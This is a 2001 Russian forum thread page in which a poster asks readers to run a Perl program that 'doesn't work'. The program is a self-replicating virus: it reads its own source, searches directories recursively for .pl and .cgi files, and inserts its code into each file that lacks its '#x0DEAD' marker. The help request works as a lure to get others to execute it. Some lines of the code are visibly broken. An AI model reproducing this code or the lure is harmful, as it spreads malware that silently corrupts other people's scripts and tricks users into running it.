Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
[Perl] Люди, запустите прогу, а то штой-то не работает :((( 21.05.01 22:07 Число просмотров: 543
Автор: izlam Статус: Незарегистрированный пользователь
|
#!perl
# (c) "izlam" 2001
# izlam@mail.ru
$z='#x0DEAD';
g();
#x0DEAD
sub g {
my $y = sub {
local $_;
my $f=shift;
open(A,$0);
$_=join '',<A>;
close(A);
open(I,$f);
my @m=;
close(I);
push(@m,"\n", /(^$z.*)/ms);
open(I,">$f");
print I (@m[0],"\n\$z='#x0DEAD';\ng();\n\n",@m[1..$#m]);
close(I);
};
my $x = sub {
local $_;
open(I,shift);
$_=join '',;
close(I);
return /^$z$/m
};
my ($d,$k)=(shift().'/');
opendir(D,$d);
my @e=readdir(D);
closedir(D);
my @f=grep {/\.(pl|cgi)$/} grep {-f $d.$_} @e;
my @h=grep {/^[^\.]/ && -d $d.$_} @e;
foreach my $i (@f) {
$x->($d.$i)|($y->($d.$i) && ++$k)
}
return $k if $k;
while (@h) { last if ($k=g($d.pop(@h))) }
$k;
}
|
- [Perl] Люди, запустите прогу, а то штой-то не работает :((( - izlam 21.05.01 22:07 [543]
|
|
|